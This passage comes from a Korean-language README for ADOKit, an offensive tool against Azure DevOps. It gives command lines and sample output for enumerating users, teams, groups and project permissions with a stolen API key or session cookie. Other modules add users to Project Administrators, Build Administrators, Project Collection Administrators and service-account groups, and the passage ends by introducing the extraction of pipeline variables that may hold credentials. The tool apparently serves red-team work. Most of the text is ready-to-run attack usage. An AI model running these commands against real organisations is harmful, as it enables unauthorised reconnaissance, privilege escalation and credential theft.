rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
```
### 사용자 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 지정된 사용자 검색*
#### 구문
`searchuser` 모듈과 `/search:` 명령줄 인수에 검색 기준을 입력하고, 관련 인증 정보 및 URL을 함께 제공합니다. 그러면 일치하는 사용자 이름, 표시 이름 및 사용자 계정 이름이 출력됩니다.
`ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user`
`ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user`
#### 예제 출력```
C:\>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
==================================================
Module: searchuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:23 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
```
### 팀 목록
#### 사용 사례
> *Azure DevOps 인스턴스 내의 팀 목록을 나열합니다.*
#### 구문
`listteam` 모듈과 관련 인증 정보 및 URL을 함께 제공합니다. 그러면 팀 이름, 프로젝트 이름 및 팀 설명이 출력됩니다.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 예제 출력```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
```
### Search Team
#### Use Case
> *Azure DevOps 인스턴스에서 주어진 팀을 검색합니다*
#### Syntax
`searchteam` 모듈과 검색 기준을 `/search:` 명령줄 인수에 제공하고, 관련 인증 정보 및 URL을 함께 입력합니다. 그러면 팀 이름, 프로젝트 이름 및 팀 설명이 출력됩니다.
`ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Example Output```
C:\>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
==================================================
Module: searchteam
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:32 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
```
### 팀 구성원 가져오기
#### 사용 사례
> *지정된 팀의 팀 구성원 가져오기*
#### 구문
`/search:` 명령줄 인수에 `getteammembers` 모듈과 검색 조건을 제공하고, 관련 인증 정보 및 URL을 함께 입력합니다. 그러면 팀 이름, 팀 구성원 사용자 이름 및 팀 구성원 표시 이름이 출력됩니다.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### 예제 출력```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
```
### 그룹 목록
#### 사용 사례
> *Azure DevOps 인스턴스 내의 그룹 나열*
#### 구문
`listgroup` 모듈과 관련 인증 정보 및 URL을 제공합니다. 그러면 그룹의 사용자 계정 이름, 표시 이름 및 설명이 출력됩니다.
`ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### 예제 출력
```
C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
[YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
```
### 그룹 검색
#### 사용 사례
> *Azure DevOps 인스턴스에서 특정 그룹 검색*
#### 구문
`searchgroup` 모듈과 검색 기준을 `/search:` 명령줄 인수에 제공하고, 관련 인증 정보와 URL을 함께 입력하세요. 그러면 일치하는 그룹의 사용자 계정 이름, 표시 이름 및 설명이 출력됩니다.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### 예제 출력```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
```
### 그룹 구성원 가져오기
#### 사용 사례
> *지정된 그룹의 모든 그룹 구성원 나열*
#### 구문
`getgroupmembers` 모듈과 `/group:` 명령줄 인수에서 검색하려는 그룹(들)을 제공하고, 관련 인증 정보와 URL을 함께 제공합니다. 그러면 일치하는 그룹의 사용자 계정 이름과 함께 해당 그룹의 각 그룹 구성원(사용자 메일 주소 및 표시 이름 포함)이 출력됩니다.
`ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"`
`ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"`
#### 예제 출력```
C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
==================================================
Module: getgroupmembers
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
```
### 프로젝트 권한 가져오기
#### 사용 사례
> *특정 프로젝트에 대한 권한이 있는 사용자 목록을 가져옵니다.*
#### 구문
`getpermissions` 모듈과 검색하려는 프로젝트를 `/project:` 명령줄 인수에 제공하고, 관련 인증 정보 및 URL을 함께 입력합니다. 그러면 일치하는 그룹의 사용자 계정 이름, 표시 이름 및 설명이 출력됩니다. 또한 각 그룹의 구성원도 출력됩니다.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### 출력 예시```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
```
### 프로젝트 관리자 추가
#### 사용 사례
> *지정된 프로젝트의 프로젝트 관리자 그룹에 사용자를 추가합니다.*
#### 구문
`addprojectadmin` 모듈과 `/project:` 및 `/user:`를 제공하여 지정된 사용자를 지정된 프로젝트의 `Project Administrators` 그룹에 추가합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
```
### 프로젝트 관리자 제거
#### 사용 사례
> *지정된 프로젝트에 대해 사용자를 프로젝트 관리자 그룹에서 제거합니다.*
#### 구문
주어진 프로젝트에 대해 사용자를 `Project Administrators` 그룹에서 제거하려면 `removeprojectadmin` 모듈과 함께 `/project:` 및 `/user:`를 제공합니다. 또한 관련 인증 정보와 URL도 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
```
### 빌드 관리자 추가
#### 사용 사례
> *지정된 프로젝트의 Build Administrators 그룹에 사용자를 추가합니다.*
#### 구문
`addbuildadmin` 모듈과 함께 `/project:` 및 `/user:`을 제공하여 지정된 사용자를 해당 프로젝트의 `Build Administrators` 그룹에 추가합니다. 또한 관련 인증 정보와 URL을 함께 제공하세요. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 출력 예시```
C:\>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: addbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
```
### 빌드 관리자 제거
#### 사용 사례
> *주어진 프로젝트의 Build Administrators 그룹에서 사용자를 제거합니다.*
#### 구문
`removebuildadmin` 모듈에 `/project:` 및 `/user:`를 함께 제공하여 지정된 프로젝트의 `Build Administrators` 그룹에서 제거할 사용자를 지정합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
```
### 컬렉션 관리자 추가
#### 사용 사례
> *프로젝트 컬렉션 관리자 그룹에 사용자를 추가합니다.*
#### 구문
특정 사용자를 `Project Collection Administrators` 그룹에 추가하려면 `/user:`와 함께 `addcollectionadmin` 모듈을 제공합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
```
### 컬렉션 관리자 제거
#### 사용 사례
> *프로젝트 컬렉션 관리자 그룹에서 사용자를 제거합니다.*
#### 구문
특정 사용자를 `Project Collection Administrators` 그룹에서 제거하려면 `/user:`와 함께 `removecollectionadmin` 모듈을 제공합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 출력 예시```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
```
### 컬렉션 빌드 관리자 추가
#### 사용 사례
> *프로젝트 컬렉션 빌드 관리자 그룹에 사용자를 추가합니다.*
#### 구문
`addcollectionbuildadmin` 모듈을 `/user:`와 함께 제공하여 지정된 사용자를 `Project Collection Build Administrators` 그룹에 추가합니다. 또한 관련 인증 정보와 URL을 함께 제공하세요. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
```
### 컬렉션 빌드 관리자 제거
#### 사용 사례
> *프로젝트 컬렉션 빌드 관리자 그룹에서 사용자를 제거합니다.*
#### 구문
`removecollectionbuildadmin` 모듈을 특정 사용자에 대해 `/user:`와 함께 제공하여 해당 사용자를 `프로젝트 컬렉션 빌드 관리자` 그룹에서 제거합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하십시오.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
```
### 컬렉션 빌드 서비스 계정 추가
#### 사용 사례
> *프로젝트 컬렉션 빌드 서비스 계정 그룹에 사용자를 추가합니다.*
#### 구문
지정된 사용자를 `Project Collection Build Service Accounts` 그룹에 추가하려면 `/user:`와 함께 `addcollectionbuildsvc` 모듈을 제공합니다. 또한 관련 인증 정보와 URL을 함께 제공합니다. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:13 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1
4/5/23 12:22:15 Finished execution of addcollectionbuildsvc
```
### 컬렉션 빌드 서비스 계정 제거
#### 사용 사례
> *프로젝트 컬렉션 빌드 서비스 계정 그룹에서 사용자를 제거합니다.*
#### 구문
`removecollectionbuildsvc` 모듈을 제공하고 `/user:`를 사용하여 지정된 사용자를 `Project Collection Build Service Accounts` 그룹에서 제거합니다. 또한 관련 인증 정보와 URL을 함께 제공하세요. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:22:27 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:28 Finished execution of removecollectionbuildsvc
```
### 컬렉션 서비스 계정 추가
#### 사용 사례
> *프로젝트 컬렉션 서비스 계정 그룹에 사용자를 추가합니다.*
#### 구문
`addcollectionsvc` 모듈과 함께 `/user:`를 제공하여 특정 사용자를 `프로젝트 컬렉션 서비스 계정` 그룹에 추가합니다. 또한 관련 인증 정보와 URL을 함께 제공하십시오. 이 작업을 수행하는 데 필요한 권한에 대해서는 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: addcollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:01 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
[YourOrganization]\Project Collection Service Accounts | [email protected] | User 1
4/5/23 15:21:04 Finished execution of addcollectionsvc
```
### 컬렉션 서비스 계정 제거
#### 사용 사례
> *프로젝트 컬렉션 서비스 계정 그룹에서 사용자를 제거합니다.*
#### 구문
`removecollectionsvc` 모듈과 `/user:`를 제공하여 지정된 사용자를 `Project Collection Service Accounts` 그룹에서 제거합니다. 또한 관련 인증 정보와 URL을 함께 제공하세요. 이 작업을 수행하는 데 필요한 권한은 [모듈 세부 정보 표](#module-details-table)를 참조하세요.
`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### 예제 출력```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionsvc
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 11:21:43 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Service Accounts | [email protected] | John Smith
4/5/23 15:21:44 Finished execution of removecollectionsvc
```
### 파이프라인 변수 가져오기
#### 사용 사례
> *프로젝트에서 사용 중인 모든 파이프라인 변수를 추출합니다. 이 변수에는 자격 증명이나 기타 유용한 정보가 포함될 수 있습니다.*
#### 구문
